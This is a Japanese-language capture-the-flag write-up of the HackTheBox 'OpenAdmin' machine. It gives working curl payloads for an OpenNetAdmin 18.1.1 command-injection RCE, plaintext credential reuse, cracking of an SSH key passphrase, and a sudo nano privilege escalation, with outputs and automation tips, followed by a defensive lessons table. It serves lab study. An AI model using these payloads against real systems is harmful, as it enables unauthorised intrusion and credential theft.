HackTheBox: OpenAdmin — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
22/ssh, 80/http
OpenNetAdmin v18.1.1 RCE
xajaxargs[]コマンドインジェクション
→
xajaxargs[]コマンドインジェクション
www-data シェル
DB設定ファイル読取
→
DB設定ファイル読取
パスワード再利用
jimmy:n1nj4W4rri0R!
→
jimmy:n1nj4W4rri0R!
internal vhost (127.0.0.1:52846)
main.php 認証なし漏洩
→
main.php 認証なし漏洩
id_rsa passphrase crack
ssh2john+john: bloodninjas
→
ssh2john+john: bloodninjas
SSH joanna ログイン
user.txt ✓
→
user.txt ✓
sudo nano 発見
NOPASSWD /opt/priv
→
NOPASSWD /opt/priv
nano GTFOBins
Execute Command機能
→
Execute Command機能
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & Webアプリ発見
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.126 gobuster dir -u http://10.129.86.126 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Apache/2.4.29 (Ubuntu) /ona (Status: 301)
/ona/ の正体確認
BASH
curl -s --max-time 15 http://10.129.86.126/ona/login.php | grep -i "openNetAdmin\|version"
RESULT
<title>OpenNetAdmin</title> ... Version 18.1.1 ...
🚨
OpenNetAdmin v18.1.1と判明。このバージョンには
認証なしで悪用できる既知のコマンドインジェクション脆弱性(EDB掲載)が
存在する。
⚠️
注意:
/ona/トップページ自体への直接アクセスは
応答が非常に遅い(10秒超かかることがある)。検出確認には軽量な
/ona/login.php(素早く”OpenNetAdmin”文字列を返す)を使い、
タイムアウトも長めに設定すると安定する。
PHASE 2
OpenNetAdmin xajaxargs[] コマンドインジェクション RCE
脆弱性の原理
NOTE
OpenNetAdminはAjax処理に"xajax"というJavaScript⇄PHPブリッジライブラリを 使用している。"window_submit"というxajax関数の"tooltips"モジュールは、 ping機能の対象IPを指定する"ip"パラメータを**サニタイズなしでシェルに渡す**。 正規のリクエストは ip=<対象IP> のような形だが、"ip" パラメータに `=>` に続けてセミコロンでコマンドを連結すると、後続のコマンドが そのままシェルで実行される。
RCE確認(id実行)
BASH
# コマンド出力をBEGIN_ONA/END_ONAマーカーで囲み、base64経由で安全に渡す # (直接コマンドを書くとHTTPパラメータのエンコードで壊れることがあるため) curl -s --max-time 20 http://10.129.86.126/ona/ \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "xajax=window_submit" \ --data-urlencode "xajaxr=1574117726710" \ --data-urlencode "xajaxargs[]=tooltips" \ --data-urlencode 'xajaxargs[]=ip=>;echo BEGIN_ONA;echo aWQ=|base64 -d|sh;echo END_ONA' \ --data-urlencode "xajaxargs[]=ping"
RESULT (抜粋)
<pre style="padding: 4px;font-family: monospace;">BEGIN_ONA
uid=33(www-data) gid=33(www-data) groups=33(www-data)
END_ONA
</pre>
✅
RCE成功!
www-data権限でコマンド実行できる。
応答はAjaxレスポンス用のXML/HTML構造の中に埋め込まれるため、
BEGIN_ONA/END_ONAマーカーで囲んでおくと自動抽出しやすい。
PHASE 3
DB設定ファイルの読取 → パスワード再利用
OpenNetAdminのDB設定ファイルを読む
BASH
# 実行させたいコマンド "cat .../database_settings.inc.php" をbase64化し、 # 同じRCEチェーンに流し込む curl -s --max-time 20 http://10.129.86.126/ona/ \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "xajax=window_submit" \ --data-urlencode "xajaxr=1574117726710" \ --data-urlencode "xajaxargs[]=tooltips" \ --data-urlencode 'xajaxargs[]=ip=>;echo BEGIN_ONA;echo Y2F0IC92YXIvd3d3L2h0bWwvb25hL2xvY2FsL2NvbmZpZy9kYXRhYmFzZV9zZXR0aW5ncy5pbmMucGhw|base64 -d|sh;echo END_ONA' \ --data-urlencode "xajaxargs[]=ping"
RESULT
BEGIN_ONA
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
...
),
);
?>END_ONA
🚨
決定的な発見! DB接続用パスワード
n1nj4W4rri0R!を発見。
このパスワードがシステムの他アカウントで再利用されていないか
試してみる価値がある。
システムユーザー一覧の確認 & パスワード再利用の試行
BASH
# RCE経由で /etc/passwd からログイン可能な一般ユーザーを確認し、 # jimmyというユーザーを発見(他にjoannaも存在) ssh jimmy@10.129.86.126 # Password: n1nj4W4rri0R!
RESULT
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
✅
ログイン成功! DB用パスワードがそのままjimmyのOSログイン
パスワードとして使われていた。さらに
internalという非標準グループに
所属していることが分かり、これが次のヒントになる。
PHASE 4
internal vhost の main.php 認証なし漏洩 → id_rsa crack → user.txt
内部限定で稼働するサービスを確認
BASH
jimmy@openadmin:~$ ss -tlnp 2>/dev/null jimmy@openadmin:~$ cat /etc/apache2/sites-enabled/internal.conf
RESULT
tcp LISTEN 127.0.0.1:52846
# internal.conf: DocumentRoot /var/www/internal、joanna 権限で稼働
ℹ️
internalグループに所属しているため、この内部限定vhost
(joanna所有)のソースコードが読める。internal.confの中身を
確認するとindex.phpでSHA512ハッシュ照合によるログイン認証を
実装しているが、main.phpにはセッションチェックが実装されていない
ことがソース解析で分かる。
main.php への直接アクセス(認証バイパス)
BASH
# jimmyのSSHセッション内から(内部限定のためlocalhostから)直接アクセス curl -s http://localhost:52846/main.php
RESULT (抜粋)
<pre> -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,... (暗号化されたRSA秘密鍵本体) -----END RSA PRIVATE KEY----- </pre>
🚨
決定的な発見!
main.phpは本来ログイン後にのみ見えるはずの
管理コンテンツだが、セッション(認証)チェックの実装漏れにより
誰でも(内部ネットワークからなら)アクセスできてしまう。中に
joannaの暗号化されたSSH秘密鍵が<pre>タグで囲まれて
丸ごと出力されている。
秘密鍵のパスフレーズをクラック
BASH
# レスポンスのタグ内を抽出して保存 # (正規表現: -----BEGIN...----- から -----END-----まで) cat joanna_id_rsa_enc.key ssh2john joanna_id_rsa_enc.key > key.hash john --wordlist=/usr/share/wordlists/rockyou.txt key.hash john --show key.hash
RESULT
joanna_id_rsa_enc.key:bloodninjas
1 password hash cracked, 0 left
✅
クラック成功! パスフレーズは
bloodninjas。
鍵を復号してSSHログイン → user.txt
BASH
# openssl でパスフレーズを使い平文(非暗号化)の秘密鍵に変換すると # 以降のsshコマンドで対話的なパスフレーズ入力が不要になり扱いやすい openssl rsa -in joanna_id_rsa_enc.key -passin pass:bloodninjas -out joanna_id_rsa chmod 600 joanna_id_rsa ssh -i joanna_id_rsa -o StrictHostKeyChecking=no joanna@10.129.86.126 \ "id; cat /home/joanna/user.txt"
RESULT
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna)
75206eb74a4950d70ee8abfe8aedbb73
user.txt — joanna
75206eb74a4950d70ee8abfe8aedbb73
PHASE 5
権限昇格の下調べ — sudo nano の発見
sudo -l でNOPASSWD権限を確認
BASH
joanna@openadmin:~$ sudo -l
RESULT
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
🚨
PHASE 6
nano GTFOBins (Execute Command) → root.txt
nano のコマンド実行機能
NOTE
GNU nanoには "Execute Command" という機能があり、 Ctrl+R(Insert a file)に続けてCtrl+X(Execute Command)という キー操作で、任意のシェルコマンドを実行してその出力をバッファに 挿入できる。sudo経由でnanoを起動している場合、このコマンドは **root権限**で実行される。
sudo nano の起動 & コマンド実行
BASH
joanna@openadmin:~$ sudo /bin/nano /opt/priv
NOTE (キー操作)
nano画面が開いたら、以下のキーシーケンスを入力する:
1. Ctrl+R (^R、Insert a file へ移行)
2. Ctrl+X (^X、Insert a fileモードから "Execute Command" モードへ切替)
3. 実行したいコマンドを入力してEnter
例: cp /root/root.txt /tmp/.oaroot; chmod 644 /tmp/.oaroot
4. Ctrl+X → "Save modified buffer?" には N(いいえ) で応答し終了
⚠️
自動化する場合の注意: pexpect等でキー操作を再現する際、
Ctrl+R/Ctrl+Xは「制御文字のバイト」(それぞれ
\x12, \x18)を
直接送信する必要がある(ライブラリのsendcontrol()的な高レベルAPIが
期待通りに動かない場合がある)。また端末サイズを明示的に設定しないと
nanoの画面描画が崩れてキー入力の認識に失敗することがある。
root.txt の回収
BASH
# nanoを終了した後、別の新しいSSHコマンド実行でコピーしたファイルを読む ssh -i joanna_id_rsa joanna@10.129.86.126 \ "cat /tmp/.oaroot; rm -f /tmp/.oaroot"
RESULT
493a1bc42da2981226f0470d776d4a30
✅
権限昇格成功! nanoのExecute Command機能で実行したコマンドが
root権限で動作し、
/root/root.txtの内容を一般ユーザーでも読める場所に
コピーできた。
root.txt — /root
493a1bc42da2981226f0470d776d4a30
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — joanna
75206eb74a4950d70ee8abfe8aedbb73
root.txt — /root
493a1bc42da2981226f0470d776d4a30
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| OpenNetAdmin v18.1.1 コマンドインジェクション | /ona/ (xajax window_submit) | www-data権限でのリモートコード実行 | Critical | xajaxargs[]のipパラメータに"=>;コマンド;"を注入 |
| DB資格情報のパスワード再利用 | database_settings.inc.php のパスワード ↔ jimmyのOSログイン | jimmyユーザーへの昇格 | High | 設定ファイル経由で取得したDBパスワードをそのままSSHログインに再利用 |
| 内部vhostの認証チェック漏れ | internal (127.0.0.1:52846) の main.php | joannaのSSH秘密鍵の漏洩(user.txt) | Critical | index.phpのみ認証ありでmain.phpにはセッションチェックが無く直接アクセス可能 |
| nano GTFOBins | sudo NOPASSWD /bin/nano /opt/priv | joanna → root への権限昇格(root.txt) | High | Ctrl+R→Ctrl+Xの"Execute Command"機能でroot権限の任意コマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + gobuster | 22/80、/ona/ (OpenNetAdmin v18.1.1) |
| 2 | RCE | xajaxargs[]コマンドインジェクション | www-data権限でのコード実行 |
| 3 | 資格情報窃取 | database_settings.inc.php読取 | jimmy:n1nj4W4rri0R!(パスワード再利用) |
| 4 | 水平展開 | internal vhost main.php + ssh2john crack | user.txt取得(joanna:bloodninjas) |
| 5 | 権限調査 | sudo -l | nano NOPASSWD権限を確認 |
| 6 | 権限昇格 | nano Execute Command (Ctrl+R→Ctrl+X) | root.txt取得 |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
| /ona/ のトップページへのアクセス確認が頻繁にタイムアウトする | トップページ自体の応答が10秒超かかることがある。検出には/ona/login.phpのような軽量なエンドポイントを使い、タイムアウトも長めに設定する。 |
| xajaxargs[]インジェクションのコマンド出力が正規表現でうまく抜き出せない | 応答はAjaxレスポンス用のXML/HTML構造に深く埋め込まれる。ペイロード側でecho BEGIN_xxx; <コマンド>; echo END_xxxのように一意なマーカーを仕込んでおき、その間だけを抽出する。 |
| main.phpへのアクセスがinternalグループ所属のjimmyからはできるが外部からはできない | vhost設定上127.0.0.1限定でバインドされているため、外部からは到達不可。jimmyのSSHセッション内からcurl http://localhost:52846/...として呼ぶ必要がある。 |
| nano経由のExecute CommandをCtrl+R/Ctrl+Xで自動化しようとすると動かない | pexpect等の高レベルAPI(sendcontrol)が期待通りに機能しない場合がある。制御文字の生バイト(\x12, \x18)を直接送信し、端末サイズも明示的に設定(例: 40行×150列)するとnanoの画面描画崩れを回避できる。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 既知のクリティカルRCEが存在する旧バージョンのOpenNetAdminを使用 | 内部管理ツール類も含めすべてのソフトウェアを速やかにパッチ適用・バージョン更新する。管理インターフェースはインターネットに直接公開しない。 |
| 設定ファイルに平文パスワードが保存され、しかもOSアカウントのパスワードと共通 | DB等の接続情報は環境変数やシークレット管理システムで管理する。システム・アプリ間でパスワードを共用しない。 |
| 内部管理アプリの一部エンドポイント(main.php)に認証チェックの実装漏れがある | 認証チェックは個別ページ単位ではなく、共通のミドルウェア/フィルタで一元管理し、新規ページ追加時に実装漏れが起きない設計にする。 |
| テキストエディタ等のGTFOBins掲載バイナリにsudo NOPASSWD権限を付与している | 最小権限の原則を徹底し、sudoersでの許可対象は専用のラッパースクリプト等に限定する。GTFOBinsに掲載されているバイナリへの昇格権限付与は原則避ける。 |

